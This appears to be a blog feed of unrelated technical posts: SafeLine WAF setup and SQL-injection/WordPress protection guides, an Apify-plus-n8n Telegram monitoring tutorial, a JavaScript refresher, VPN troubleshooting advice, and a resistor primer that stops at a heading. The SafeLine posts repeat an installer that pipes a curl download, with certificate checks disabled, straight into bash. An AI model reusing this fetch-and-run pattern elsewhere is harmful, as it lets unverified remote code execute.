Often, yes — 10 apps at 800 QPS covers a typical small-business footprint. Upgrade only when you outgrow those caps.

Will running it myself be a lot of work?

Minimal. Once installed and pointed at your sites, it runs as a background service. You check the console occasionally, like any other server component.

What if I don't have a spare server?

A small VPS (the size that runs the console) is enough to start, and it can often share the host with other lightweight services.

Ready to protect your sites without paying for a cloud WAF?

⭐ SafeLine WAF on GitHub — give it a star if you find it useful
🔗 Official Docs — installation guide, configuration, and API reference
🧪 Live Demo — see the dashboard in action (no login required)

SafeLine WAF Docker Compose Example

Tue, 22 Sep 2026 03:23:27 +0000

SafeLine WAF Docker Compose Example

SafeLine ships as a set of containers, and Docker Compose is the simplest way to bring up the whole stack — management console, detection engine, and the supporting database and cache — on a single host.

The fastest path

The official one-line installer handles the compose file for you:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

It writes a docker-compose.yml in the SafeLine directory and starts the services. After it finishes, open the console at https://<host-ip>:9443 to add your protected sites.

What the stack contains

A typical SafeLine compose defines a few services working together:

Management console — the web UI on :9443 where you configure sites and view logs.
Detection engine / proxy — the component that actually inspects and forwards traffic on :80 / :443.
Database — stores configuration and records.
Cache — used for session and challenge state.

An illustrative compose looks like:

services:
  safeline-mgt:            # management console
    image: chaitin/safeline-mgt:latest
    ports: ["9443:9443"]
  safeline-detector:       # inspection + reverse proxy
    image: chaitin/safeline-detector:latest
    ports: ["80:80", "443:443"]
  safeline-pg:             # database
    image: chaitin/safeline-pg:latest
  safeline-redis:          # cache
    image: chaitin/safeline-redis:latest

Treat the exact image names, tags, and ports above as illustrative — pull the authoritative docker-compose.yml from the official installer or docs, since these can change between versions.

Customizing

Once it's up, common tweaks:

Persist data — add named volumes for the database and config so they survive container recreation.
Change ports — if :80/:443 are taken, map the proxy to different host ports and adjust your upstream/DNS accordingly.
Protect a site — in the console, add a site whose upstream is your app (e.g. http://127.0.0.1:8080).

FAQ

Do I need to write the compose myself?

No — the installer generates it. Hand-writing is only if you want a custom layout.

Can I run it alongside other compose stacks?

Yes; just keep the ports and volume names from colliding with other services.

Free tier?

The Community Edition covers 10 apps at 800 QPS for free.

That's it — a single compose stack gives you a running self-hosted WAF.

⭐ SafeLine WAF on GitHub — give it a star if you find it useful
🔗 Official Docs — installation guide, configuration, and API reference
🧪 Live Demo — see the dashboard in action (no login required)

A scraper isn’t a monitor: detecting new Telegram posts with Apify and n8n

Tue, 22 Sep 2026 02:46:31 +0000

My Actor run succeeded. It returned five recent Telegram posts, each with an ID, timestamp, and permalink.

Then I asked the question the automation actually needed to answer:

Which posts are new?

The honest answer was: the current run cannot know by itself.

Nothing had failed. The Actor had done its job. It had retrieved what was visible now. But “new” is not a property contained in one snapshot; it is the difference between the current snapshot and a previous one.

That distinction is the difference between a scraper that runs on a schedule and a monitor you can trust.

In this tutorial, I’ll show the state layer I added around an Apify Actor:

a stable identity for every record;
state partitioned by Telegram channel;
a deliberate first-run policy;
duplicate prevention across executions;
a warning when the polling window may be too small; and
fail-closed handling for missing or malformed state.

The same design works for price trackers, job monitors, lead feeds, inventory checks, and any other workflow that repeatedly asks, “What changed?”

Implementation note: the code and evidence for this article are in the corrected companion package. That workflow deliberately stops at notification candidates; I have not treated untested delivery as finished.

Retrieval and change detection are different jobs

The Actor reads Telegram’s public t.me/s/ preview and returns recent messages in newest-first order. Each item includes fields such as:

{
  "channel": "telegram",
  "id": 454,
  "url": "https://t.me/telegram/454",
  "date": "2026-07-19T17:58:20+00:00",
  "text": "For all the details on these new features...",
  "views": 1180000,
  "scraped_at": "2026-08-05T14:13:17.444080+00:00"
}

That is enough to answer:

What is visible now?

It is not enough to answer:

What appeared since the previous successful check?

The second question requires historical information. That history can live inside an Actor, in a database, in a caller-supplied cursor, or in the workflow that calls the Actor. For this implementation, I kept the Actor stateless and made the downstream n8n workflow own the comparison state.

The boundary looks like this:

Schedule
   │
   ▼
Run Apify Actor ──► current message window
                         │
                         ▼
              validate and partition records
                         │
                         ▼
              compare with durable seen state
                         │
              ┌──────────┴──────────┐
              ▼                     ▼
      notification candidates   status and warnings
              │                     │
              └──────────┬──────────┘
                         ▼
                  persist new state

The experiment that exposed the missing layer

I first called the Actor from an AI client through the Apify MCP server. I retained four one-call conditions:

Condition	What the caller knew before the run	Could it determine new IDs?
Baseline	No previous result	Not asked; the result became the baseline
Same conversation	Previous IDs were still in context	Yes
Fresh session	No reachable previous result	No; newness was undetermined
Fresh session with prior IDs	A small state file plus comparison rules	Yes

All four Actor runs succeeded and returned the same five IDs, 454 through 450. In the fresh session with no baseline, retrieval still worked, but comparison did not.

That result matters because “no new records” and “I cannot determine whether records are new” are not the same answer. A reliable monitor must preserve that distinction.

The runs also exposed a tempting identity bug: every message’s views value changed between two observations, while the IDs stayed stable. Comparing whole records would have classified all five messages as different. Comparing the stable identity classified them correctly as the same messages.

Choose identity before choosing storage

Telegram’s Bot API defines message_id as unique inside a chat. That means id alone is not a reusable global key. The monitor uses this partitioned identity instead:

(normalized channel, message ID)

For example:

function normalizeChannel(value) {
  return String(value ?? '')
    .trim()
    .replace(/^@/, '')
    .toLowerCase();
}

function messageKey(channel, id) {
  const normalizedChannel = normalizeChannel(channel);
  if (!normalizedChannel) {
    throw new Error('Channel is required.');
  }

  if (!Number.isSafeInteger(id) || id <= 0) {
    throw new Error('Message ID must be a positive safe integer.');
  }

  return JSON.stringify([normalizedChannel, String(id)]);
}

views and scraped_at are deliberately excluded. They can change without creating a new message. Text can also be edited, so an ID-only state detects new messages but does not detect edits; edit detection is a separate contract.

This is the first design rule:

Use immutable source identity for new-item detection. Do not let mutable attributes redefine the record.

Store a baseline, not a vague memory

A minimal prior-state file for one channel can be as small as:

{
  "schemaVersion": 1,
  "channel": "telegram",
  "identityField": "id",
  "sourceRunId": "example-prior-run-id",
  "seenMessageIds": [454, 453, 452, 451, 450]
}

The n8n workflow uses the same contract in a more compact form. Its global workflow state is partitioned by normalized channel, and positive integer IDs are stored as merged ranges:

{
  "schemaVersion": 1,
  "channels": {
    "telegram": {
      "initializedAt": "<timestamp from the first successful run>",
      "baselineFloorId": 450,
      "seenRanges": [[450, 454]],
      "highestObservedId": 454
    }
  }
}

Range compression is an implementation optimization, not part of the general monitoring rule. Set comparison requires stable identifiers; range compression additionally assumes suitable integer IDs.

The workflow reads this state with n8n’s $getWorkflowStaticData('global'). n8n documents three important constraints: static data is intended to be small, it is saved after successful triggered production executions, and it can be unreliable under high-frequency execution. That makes it acceptable for this small serialized demonstration, not a universal production database.

For growing state, overlapping executions, or operational querying, move the same identity and comparison contract to a Data Table or external database.

Make the first run a policy decision

On the first successful execution, every returned ID is unseen. Calling all of them “new” may be mathematically consistent, but it is usually terrible monitoring behavior: the workflow sends a burst of alerts for posts that existed before monitoring started.

This implementation defaults to baseline mode:

Fetch the first non-empty window.
Validate it.
Store the IDs.
Send no notification candidates.
Begin new-item detection on the next successful run.

An explicit alert mode remains available for workflows that really do want the first window delivered.

An empty result does not initialize the baseline. Otherwise a transient empty response could create an empty history, and the next normal result could replay the entire window as new.

Compare, classify, then persist

The core comparison is set difference:

new IDs = current IDs − previously seen IDs

But the order around that expression matters:

Validate the response shape and channel partition.
Reject unusable IDs.
Deduplicate the current window by the partitioned identity.
Compare against previously seen identities.
Apply the first-run and historical-backfill policies.
Generate notification candidates.
Persist every valid observed ID, including records filtered out by keywords.

That final choice gives keyword filters at-most-once behavior. Changing a keyword later does not replay posts the workflow already processed.

State corruption also fails closed. If a non-empty state object has no supported schema or contains malformed channel state, the workflow stops instead of silently treating history as empty. Resetting broken state would turn old records into a fresh alert storm.

The complete comparator and the n8n Code-node implementation are in the public companion repository. The comparator is dependency-free and accepts either a bare dataset array or an MCP-style { "items": [...] } envelope.

Treat a full polling window as a warning

Suppose the workflow requests five messages and receives five. It does not know whether exactly five were available or whether older unseen messages fell outside the returned window.

The workflow therefore sets windowSaturated using the raw Actor response count:

const windowSaturated = rows.length >= Number(monitor.limit);

The check happens before deduplication. Duplicate or invalid rows should not hide the fact that the raw window reached its cap.

Saturation means:

The configured window may be too small for the polling interval.

It does not prove that a message was missed. It tells the operator to consider a larger limit, a shorter interval, or a proper catch-up strategy.

The same reasoning applies in the other direction: an ID that was previously seen but is absent from a capped current window is not automatically deleted. It may simply have fallen beyond the window.

MCP proved the information boundary; n8n owns the recurring state

The two caller paths in this project are intentionally separate:

The experiment used an AI client and the Apify MCP server to test what could be determined with and without prior state.
The recurring implementation uses n8n and Apify’s synchronous REST endpoint to fetch dataset items, compare them with n8n workflow state, and emit candidates.

They call the same Actor, but they are not one combined MCP-to-n8n pipeline.

In n8n, the HTTP Request node calls:

POST https://api.apify.com/v2/acts/{ACTOR_ID}/run-sync-get-dataset-items

The Apify API documents this endpoint as running an Actor synchronously and returning its dataset items. Store the Apify API token in an n8n Bearer Auth credential; do not paste it into the workflow JSON.

What I verified

The corrected companion package includes:

a dependency-free comparator with 23 deterministic tests;
an importable n8n workflow whose embedded state engine has 11 deterministic tests;
a fail-closed state schema;
first-run baseline suppression;
per-channel state partitions;
duplicate prevention across triggered runs; and
saturation reporting based on the raw response count.

I also retained two successful triggered n8n executions:

Execution	Result
First triggered run	Created independent baselines for two channels; zero notification candidates
Second triggered run	Reused the persisted state; all ten returned IDs were already seen

The second execution reading the first execution’s state is the important result. It demonstrates persistence across triggered production runs rather than only inside one editor session.

What I did not verify

The evidence has limits:

No genuinely new live Telegram ID appeared during the retained runs. The positive new-ID path is covered by deterministic constructed tests.
The corrected public workflow stops at notification candidates; Telegram delivery is intentionally disabled and untested.
Every observed result window reached the configured limit of five, so the experiment does not establish catch-up completeness.
n8n workflow static data was tested only with small state and serialized executions.
The MCP experiment and n8n workflow ran at different times and are not a one-variable performance benchmark.

Those boundaries do not weaken the state contract. They define exactly what the implementation proves—and what the next production test must cover.

The checklist I now use for every scheduled Actor

Before turning any recurring Actor call into a monitor, I answer these questions:

What is the stable identity? Partition it by source, tenant, channel, or account where necessary.
Which fields are mutable? Keep them out of identity unless change detection is explicitly the goal.
Where does the baseline live? Give one layer clear ownership.
What happens on the first non-empty run? Baseline or alert—never accidental behavior.
What happens when state is missing or malformed? Fail closed instead of replaying history.
Can the polling window saturate? Surface that condition before deduplication.
What does absence mean? In a capped window, it does not prove deletion.
Can executions overlap? If yes, use storage with explicit concurrency guarantees.

A scheduled scraper repeatedly tells you what exists. A monitor tells you what changed without inventing certainty, replaying old records, or hiding gaps.

The difference is not another API call. It is a state contract.

Resources

AI assistance disclosure: I used AI tools during drafting, editing, and QA. I reviewed the final article and supporting evidence and take responsibility for its claims and conclusions.

The Joy of Learning the Basics Again

Tue, 22 Sep 2026 01:31:57 +0000

I’ve been revisiting JavaScript recently.

Not because I’ve never used it before, but because I realised there were a lot of things I could recognise when I saw them in code without feeling fully confident that I understood them properly.

That distinction started bothering me.

I could read JavaScript.

I could follow what was happening.

But being able to look at code and understand it is not always the same as being able to sit down with a blank file and write it confidently yourself.

So I decided to go back to the basics.

And weirdly enough, I’ve been enjoying it a lot more than I expected.

There’s something satisfying about revisiting something familiar and realising you understand it differently the second time around.

Starting from the beginning again

I started with things like:

const userName = "Sabi";
const role = "admin";
let postCount = 0;

Very basic stuff.

At first, part of me wanted to rush through it because I already knew what const and let were.

But slowing down actually helped.

Instead of just remembering that let can be reassigned and const cannot, I started thinking more deliberately about why I would choose one over the other.

That set the tone for the rest of the refresher.

I wasn’t just trying to remember syntax.

I wanted the concepts to actually make sense.

Functions exposed a few gaps

Functions were another area where I thought I was already comfortable.

Then I started paying more attention to the smaller details.

For example:

function checkAccess(role) {
    return role === "admin";
}

checkAccess("admin");

role is the parameter.

"admin" is the argument.

Simple distinction, but it reminded me how easy it is to skip over small concepts because you’ve seen them so many times.

Those gaps add up.

Arrays were where things started getting more interesting

I revisited arrays and loops, then moved into:

map()
filter()
find()
some()
every()
reduce()

These are methods I’ve seen and used before, but going through them one by one made the differences much clearer.

For example:

const users = [
    { name: "Sabi", role: "admin" },
    { name: "Kong", role: "member" },
    { name: "Vandal", role: "member" }
];

To get all admins:

const admins = users.filter(
    (user) => user.role === "admin"
);

To get one particular user:

const user = users.find(
    (user) => user.name === "Vandal"
);

Same array.

Different intention.

That sounds obvious, but writing these things myself made them stick much better than just reading examples.

I had been using callbacks without really thinking about them

This was one of the more useful moments.

Something like:

users.filter((user) => user.role === "admin");

looks completely normal.

But that function inside filter() is a callback.

When I recreated the idea manually:

function welcomeUser(name) {
    console.log(`Welcome, ${name}`);
}

function welcomeUsers(users, callback) {
    for (let i = 0; i < users.length; i++) {
        callback(users[i]);
    }
}

it clicked more clearly.

A callback stopped sounding like some special JavaScript concept.

It was just a function being passed into another function so it could be called later.

Sometimes understanding something is really just removing the fancy name from it.

Destructuring finally stopped feeling like magic

I’ve used destructuring plenty of times before:

const { name, role } = user;

and:

const [firstUser, secondUser] = users;

But during the refresher, I actually made a mistake and tried to destructure an array using {}.

That was useful.

It forced me to think about what JavaScript was actually doing.

Objects:

const { name, role } = user;

Arrays:

const [firstUser, secondUser] = users;

Objects are matched by property name.

Arrays are matched by position.

That mistake probably taught me more than just reading the correct syntax would have.

Spread and rest made more sense this time

Then came spread:

const updatedUsers = [...users, "Efo"];

and:

const updatedUser = {
    ...user,
    role: "admin"
};

I’d seen this syntax countless times before.

But revisiting it properly made the logic much clearer.

Spread takes existing values and spreads them into a new structure.

Rest uses the same ... but collects values:

function addUsers(...users) {
    return users;
}

The way I remember it now is:

Spread = spread things out

Rest = gather things together

Simple, but it works.

Async JavaScript was probably the most important part

Promises and async/await were where the refresher became much more valuable.

I created a Promise like this:

const getUsers = new Promise((resolve, reject) => {
    setTimeout(() => {
        resolve([
            { name: "Sabi", role: "admin" },
            { name: "Kong", role: "member" }
        ]);
    }, 5000);
});

Then worked with .then():

getUsers
    .then((users) => {
        return users.filter(
            (user) => user.role === "member"
        );
    })
    .then((members) => {
        return members.map(
            (member) => member.name
        );
    })
    .then((names) => {
        console.log(names);
    });

One thing that stood out here was the difference between logging and returning.

This:

console.log(users);

shows me something.

This:

return users;

passes the value forward so another part of the program can use it.

I knew that already in isolation, but Promise chaining made the difference feel much more important.

`async/await` made everything easier to reason about

Once I moved from .then() to:

async function showUsers() {
    try {
        const users = await getUsers;

        const members = users.filter(
            (user) => user.role === "member"
        );

        const names = members.map(
            (member) => member.name
        );

        console.log(names);
    } catch (error) {
        console.log(error.message);
    }
}

the flow became much easier to read.

I also finally got a stronger understanding of what await actually does.

It pauses the current async function.

It does not pause the entire JavaScript program.

That distinction made async code feel a lot less mysterious.

Fetch tied everything together

Then I moved into fetch().

const response = await fetch(
    "https://jsonplaceholder.typicode.com/users"
);

if (!response.ok) {
    throw new Error("Failed to fetch users");
}

const users = await response.json();

This was probably the point where the refresher stopped feeling like a list of separate JavaScript topics.

Suddenly everything connected:

functions
↓
Promises
↓
async/await
↓
HTTP
↓
fetch
↓
JSON
↓
arrays
↓
map / filter / find

That was one of the biggest things I took away from the whole process.

The concepts make much more sense when they stop being separate chapters and start working together.

Modules were a good place to finish

The final part of the refresher was modules.

I practised exporting functions:

export function findUser(users, name) {
    return users.find(
        (user) => user.name === name
    );
}

export function getAdmins(users) {
    return users.filter(
        (user) => user.role === "admin"
    );
}

and importing them somewhere else:

import {
    findUser,
    getAdmins
} from "./users.js";

I also revisited the difference between named exports and default exports.

Named:

export function findUser() {}

import { findUser } from "./users.js";

Default:

export default function UserProfile() {}

import UserProfile from "./UserProfile.js";

This is something I’ve seen constantly in modern JavaScript code, but going back to the fundamentals made it feel much less like framework magic.

The main thing I realised

The biggest takeaway from this refresher wasn’t any one JavaScript feature.

It was realising how easy it is to confuse familiarity with understanding.

You can see something a hundred times and still have gaps.

You can recognise code without being able to write it confidently.

You can use a pattern without fully understanding why it works.

That was the whole reason I went back.

Not to become a JavaScript expert before moving on.

Just to make the foundation stronger.

And somewhere along the way, I started enjoying the process more than I expected.

There’s a different kind of confidence that comes from understanding the basics properly.

Not the confidence of knowing everything.

Just the confidence of knowing what you’re standing on.

So far I’ve revisited:

variables and data types
operators and conditionals
functions and scope
arrays and loops
map, filter, find, some, every and reduce
objects
destructuring
spread and rest
callbacks
error handling
Promises
async/await
HTTP and fetch
modules

And I actually feel better for slowing down.

Next for me is TypeScript.

But this time, I’m moving forward with a much clearer understanding of the JavaScript underneath it.

Sometimes going back isn’t really going backwards.

Sometimes it’s just the fastest way to stop building on shaky ground.

How to Block SQL Injection with SafeLine WAF

Mon, 21 Sep 2026 02:28:00 +0000

How to Block SQL Injection with SafeLine WAF

SQL injection is still one of the most damaging web attacks: a single unescaped input field can let an attacker bypass login, read your entire database, or run commands on the server. SafeLine blocks it at the edge — before the request ever reaches your database-backed app.

Why signature lists fall short

Traditional WAFs match attack strings against a rule list. Attackers dodge those with obfuscation, encoding, and comment tricks. SafeLine instead uses a semantic-analysis engine that parses the actual SQL intent of a parameter. If a value parses as a malicious SQL fragment, it's blocked — regardless of how it's disguised.

Step 1 — Put SafeLine in front of the app

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

SafeLine runs as a container and acts as a reverse proxy. Add your app as the upstream in the console at https://<safeline-ip>:9443 (the database-backed site you want to protect).

Step 2 — Let it inspect

SafeLine inspects parameters across the request: URL query strings, POST bodies, headers, and cookies. For each parameter it checks whether the value carries SQL intent. If it does, the request is blocked and logged — no rule tuning required out of the box.

This covers the common SQLi families: UNION-based, boolean-based blind, time-based blind, and stacked queries.

Step 3 — Handle false positives

If a legitimate feature sends SQL-like text (a search box that accepts raw queries, for example), add a whitelist rule for that specific parameter or path rather than disabling protection globally.

What you get in the dashboard

The console shows each blocked attempt with the offending payload and source IP, so you can see attack patterns (and confirm legit traffic flows through).

FAQ

Does SafeLine need database access?

No. It works at the HTTP layer, inspecting request parameters — it never touches your database directly.

Does this replace parameterized queries?

No. Parameterized queries are still the first line of defense; SafeLine is the edge safety net for the cases you miss.

Does it need tuning to catch new attack variants?

The semantic engine generalizes, so it catches obfuscated variants without waiting for a signature update.

Free tier?

The Community Edition covers 10 apps at 800 QPS for free.

That's it — SQL injection attempts now get stopped at the edge, before they reach your database.

⭐ SafeLine WAF on GitHub — give it a star if you find it useful
🔗 Official Docs — installation guide, configuration, and API reference
🧪 Live Demo — see the dashboard in action (no login required)

Deploy it in minutes:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

Before You Ask for VPN Help: Record the Stage, Status, and Timeline

Sun, 20 Sep 2026 09:03:09 +0000

Before trying another fix, record the last successful setup stage, the exact status, and the timing. A small, controlled problem report is more useful than a list of unrelated changes.

By Mohammad Hesameddin Montazerilisar, who writes technical guidance for Lisar Connect. Edited with AI assistance from the author's original article, published July 10, 2026 and updated July 11, 2026. The substantive guidance comes from that human-authored source.

Cover illustration: A blue illustration shows a laptop with a VPN warning and a broken connection path. Beside it, linked icons represent notes, a screenshot, a clock, and a report; a checklist notebook sits in front. This is conceptual artwork, not a live interface or test result. Existing source artwork, potentially AI-generated; the original creation method is unverified.

Identify the last step that worked

“VPN not working” describes an outcome, but it does not show where the process stopped. Separate downloading the profile, importing it, approving the device permission, connecting, and using the connection.

Record the last stage you can confirm:

The profile file downloaded.
The compatible client accepted the file.
The profile was imported or saved.
The operating system allowed the VPN configuration.
The client attempted to connect.
The client showed an active connection.
Internet access and the expected services worked after connection.

“Import succeeded, but Connect returns to disconnected after ten seconds” gives the reviewer a specific transition to investigate. If you cannot tell whether import completed, say so. Uncertainty is useful when it identifies the next fact to check.

Record the device, client, and network

Include the device type, operating-system version, VPN client and version, and whether the device is personal or managed by an organization. Use the version actually shown by the device or client. Also note whether the setup worked before and whether software changed recently.

Record the network type: home or office Wi-Fi, hotel or public Wi-Fi, or mobile data. Note whether ordinary internet access worked before the VPN attempt and whether a network sign-in page appeared. If the device moved between Wi-Fi and mobile data during the test, include that fact.

Do not change an organization's router or firewall settings to create a comparison. When appropriate, a second network you are allowed to use is enough. A successful test on one device also does not establish that another device has the same client capabilities or operating-system behavior.

Preserve the exact wording and a short timeline

Write down the client's actual status or error. Keep the observation separate from your interpretation.

“The client shows Connecting for 15 seconds, then returns to Disconnected” records behavior. “The server rejected me” assigns a cause that the observation alone may not establish.

Note when the wording appeared: during import, when Connect was pressed, or after an active connection had been shown. Add the approximate date and local time, the last successful connection, the first failed attempt, and relevant changes between them.

A few lines are enough. The original guide gives this illustrative sequence: a successful connection on home Wi-Fi, an operating-system update that evening, a connection failure the next morning despite a successful import, and the same result on mobile data that afternoon. The sequence is an example, not a measured incident or a claim that the update caused the failure.

Keep the evidence small and private

A screenshot can preserve a status message or permission prompt. Review it before sharing and remove unrelated account names, email addresses, billing information, notifications, device identifiers, QR codes, access links, and credentials.

Capture the relevant status area without opening the profile's contents. Pair the image with the stage and time; a screenshot alone may omit what happened immediately beforehand.

Do not routinely attach an assigned profile file, password, verification code, token, cookie, private key, or certificate material. Start with device, version, stage, network type, wording, and timing. If a formal support process requires more, confirm the recipient and channel and follow that process.

Use a repeatable report

Copy the fields below into your notes and fill only what you can establish:

Device and operating-system version:
VPN client and version:
Personal or managed device:
Assigned profile current or uncertain:
Network used:
Ordinary internet access before VPN:
Last successful setup stage:
Exact status or error:
Approximate date and local time:
Last known successful connection:
Recent changes:
Result on another allowed network or device:
Screenshot reviewed for private information:

This record identifies the setup and the failure without exposing the profile itself.

Change one variable at a time

Keep the device, client, and profile fixed when comparing two allowed networks. For an authorized comparison between devices, keep the network and intended profile assignment clear.

Changing clients, importing several copies, switching networks, and altering device settings in one pass makes the final result harder to interpret. Stop once the evidence is sufficient. More tests are not automatically better, especially on managed devices.

Questions to settle before sending

What matters most? The last successful stage and the stage that failed. “Imported but did not connect” gives support a clearer starting point than “not working.”

Should the profile file be attached? Not as a routine first step. Begin with the limited record above; use an explicitly authorized process if more is required.

Why record the time? It helps correlate the issue with software, profile, network, or service changes without sharing credentials.

Are screenshots enough? They are useful when reviewed for private information and accompanied by the stage and timeline.

Further reference

OpenVPN Connect: Import a Profile documents the import stage.
OpenVPN Connect: Troubleshooting Hub separates connection-profile and authentication help.
OpenVPN Connect: Troubleshooting FAQs provides client-specific guidance; use the section matching the observed issue.

How to Protect WordPress with a Self-Hosted WAF

Fri, 18 Sep 2026 10:31:58 +0000

How to Protect WordPress with a Self-Hosted WAF

WordPress powers a huge share of the web and attracts a matching share of attacks: login brute force, plugin exploits, SQL injection through forms, and xmlrpc abuse. A self-hosted WAF placed in front of WordPress blocks the bulk of that traffic before it ever reaches PHP.

Why put a WAF in front of WordPress

Plugin-level security (like Wordfence) runs inside WordPress and understands WP internals. A stack-level WAF like SafeLine runs as a reverse proxy in front of the whole server, so it protects WordPress and anything else on the host — and it still works even if a plugin or theme is compromised.

Step 1 — Install SafeLine

On the host that will sit in front of WordPress:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

SafeLine runs as a container and needs only modest resources (1 CPU, 1 GB RAM, 5 GB disk minimum).

Step 2 — Add WordPress as the upstream

Open the console at https://<safeline-ip>:9443 and add a protected site:

Upstream server — where WordPress actually listens, e.g. http://127.0.0.1:80 if SafeLine shares the host with the web server.
Domain — your WordPress domain, e.g. blog.example.com.
Port — the public port SafeLine listens on (80 / 443).

Then point your DNS (or firewall port) at the SafeLine host so visitor traffic reaches it first.

Step 3 — Turn on the WordPress-relevant protections

SafeLine's semantic engine already blocks SQL injection and XSS generically — that covers most WordPress form and admin attacks out of the box. Two extra levers are especially useful for WP:

Rate limiting on /wp-login.php and /xmlrpc.php to stop credential-stuffing and the classic xmlrpc pingback floods.
Bot challenge (CAPTCHA) for suspicious automated clients, so scrapers and bad bots get stopped without affecting real visitors or Google.

Step 4 — Watch the logs

The dashboard shows every request: allowed, blocked, and challenged. If a legitimate plugin endpoint trips a false positive, add a whitelist rule for that specific path rather than disabling protection globally.

SafeLine vs a WordPress security plugin

	SafeLine (stack-level)	WP plugin (in-app)
Protects WordPress	Yes	Yes
Protects other apps on host	Yes	No
Works if WP is compromised	Yes	Weaker
Free tier	Community Edition (10 apps, 800 QPS)	Limited

You can also run both — SafeLine at the proxy edge plus an in-app plugin is defense in depth.

FAQ

Will it break my plugins?

Generally no. SafeLine forwards normal traffic untouched; only requests that look like attacks are blocked. Tune per-path if needed.

Do I still need to update WordPress?

Yes — a WAF reduces attack surface but isn't a substitute for patching core, themes, and plugins.

Can I protect multiple WP sites with one instance?

Yes — the free Community Edition covers up to 10 apps, so several WordPress installs behind one SafeLine is fine.

Does it affect SEO crawlers?

Real search-engine bots pass through normally; only abusive automated traffic is challenged.

That's it — your WordPress site now has a self-hosted WAF filtering traffic before PHP ever runs.

⭐ SafeLine WAF on GitHub — give it a star if you find it useful
🔗 Official Docs — installation guide, configuration, and API reference
🧪 Live Demo — see the dashboard in action (no login required)

Deploy it in minutes:

bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/manager.sh)" -- --en

Resistors: How to read the stripes, do the math, and avoid the magic smoke

Thu, 17 Sep 2026 10:10:48 +0000

If you have ever popped the back off anything with a circuit board inside, you have seen resistors. They are the little striped cylinders, the tiny black rectangles, the ceramic blocks bolted to a heatsink. They are everywhere, and most of them look like they should be interchangeable — yet a 220 Ω part and a 10 kΩ part are about as similar as a paperclip and a coat hanger.

This guide is the page I wish every beginner landed on first. By the end you will be able to read any resistor by eye, know why a 47 Ω value exists instead of a sensible 50 Ω, pick a part that will not catch fire, and work through the three bits of math that cover maybe 90% of real-world resistor use.

What a resistor actually is (and why your circuit cannot live without one)

A resistor is a two-legged component whose only job is to get in the way. It opposes the flow of electric current, and it does so by turning some of that electrical energy into heat. That is the whole trick. No moving parts, no magic, just a controlled amount of "don't."

The amount of opposition is called resistance, measured in ohms (symbol: Ω, the Greek capital omega). One ohm is the resistance you get when one volt of pressure pushes one amp of current through. That definition is worth holding onto, because it tells you exactly what a resistor is doing in plain terms: it sets the relationship between voltage (pressure) and current (flow).

The rule that ties those three together is Ohm's law:

V = I × R

Voltage equals current times resistance. Rearrange it however you like — I = V / R or R = V / I — and you have the single equation that explains every resistor in every circuit.

Here is the mental model that actually sticks. Think of current as water flowing through a hose. Voltage is the water pressure from the tap. A resistor is a constriction in the hose — a kink, a narrow section, a thumb pressed over the end. The tighter the constriction, the less water gets through for a given pressure. A 10 kΩ resistor is a tight kink; a 10 Ω resistor is barely there.

Two things follow from this, and they explain most resistor behavior:

A resistor cannot create energy, only waste it. Engineers call it a passive component. It does not amplify, it does not oscillate, it just sits there converting current into a little warmth. (That "little warmth" is exactly why a too-small resistor smells bad and lets out smoke — more on that later.)
The resistance comes from the material, not the label. At the microscopic level, a resistor is made from a conductor that is deliberately not a great conductor — carbon, a metal-oxide film, a coiled wire. Electrons trying to cross it keep bumping into atoms, and each bump is a tiny conversion of motion into heat. Change the material, its length, its thickness, or its temperature, and you change the resistance.

That is the whole conceptual foundation. Everything below is just applying it.

Reading resistor values: color codes, demystified

Through-hole resistors (the striped cylinders) almost never have numbers printed on them — there is no room, and the paint would wear off. Instead they carry their value as colored bands. Once you learn the code, you can read a resistor across a room.

Most resistors you meet are 4-band, 5-band, or 6-band:

4-band (the common hobbyist part): two digits — a multiplier — a tolerance band.
5-band (precision parts): three digits — a multiplier — a tolerance band.
6-band: same as 5-band, plus a final band for temperature coefficient.

The first one to three bands are the significant digits. The next band is the multiplier — it tells you how many zeros to tack on (or, for gold and silver, a fraction). The band after that is tolerance — how far off the real value is allowed to be.

Here is the full table:

Three worked examples you will see constantly

A 220 Ω resistor (the classic LED current-limiter): Red — Red — Brown — Gold → 2, 2, ×10, ±5% = 22 × 10 = 220 Ω ±5%. This is the part we reach for on a 5 V logic rail or a bright LED.

A 1 kΩ resistor (the default pull-up / current-limiter): Brown — Black — Red — Gold → 1, 0, ×100, ±5% = 10 × 100 = 1,000 Ω = 1 kΩ ±5%. If a tutorial says "just use 1k," this is the stripe pattern.

A 10 kΩ resistor (the standard microcontroller pull-up): Brown — Black — Orange — Gold → 1, 0, ×1,000, ±5% = 10 × 1,000 = 10,000 Ω = 10 kΩ ±5%. Almost every Arduino "connect a button" sketch assumes a 10 kΩ pull-up.

A mnemonic that actually works

The digits map to a sentence everyone learns: "Bad Beer Rots Our Young Guts But Vodka Goes Well — Get Some Now." Black, Brown, Red, Orange, Yellow, Green, Blue, Violet, Grey, White, (Gold, Silver, None). Silly, but you will never forget the order.

Surface-mount resistors and their secret codes

Once you leave the breadboard and move to a manufactured board, resistors shrink into tiny black rectangles with no room for stripes. They carry numbers instead, and the system is simpler than it looks.

3-digit code (5% and 10% parts): the first two digits are significant, the third is the number of zeros.

471 = 47 followed by one zero = 470 Ω
103 = 10 followed by three zeros = 10 kΩ
100 = 10 followed by zero zeros = 10 Ω

4-digit code (1% parts): three significant digits, then the number of zeros.

4700 = 470 followed by no zeros = 470 Ω
1002 = 100 followed by two zeros = 10 kΩ

EIA-96 code (1% precision on tiny packages): two digits plus a letter. The digits are an index into the E96 value table (01 = 100, 02 = 102 ... 96 = 976), and the letter is the multiplier: A = ×1, B = ×10, C = ×100, D = ×1 k, E = ×10 k, F = ×100 k. So 01A = 100 × 1 = 100 Ω, and 68A = 487 × 1 = 4.87 kΩ.

You will also see a package size like 0402, 0603, 0805, or 1206. Those four digits are the size in hundredths of an inch: 0402 is 0.04 × 0.02 inches. Smaller is cheaper and lighter but harder to solder by hand and carries less power. A 1206 can usually take about 0.25 W; a 0402 is often rated at just 1/16 W (0.0625 W), which is why power math matters so much on tiny boards.

Rule of thumb: build on a breadboard or by hand, use through-hole; design a PCB you will manufacture, use SMD — and size the package to the wattage, not just the value.

Why resistors come in weird values: the E12 and E24 series

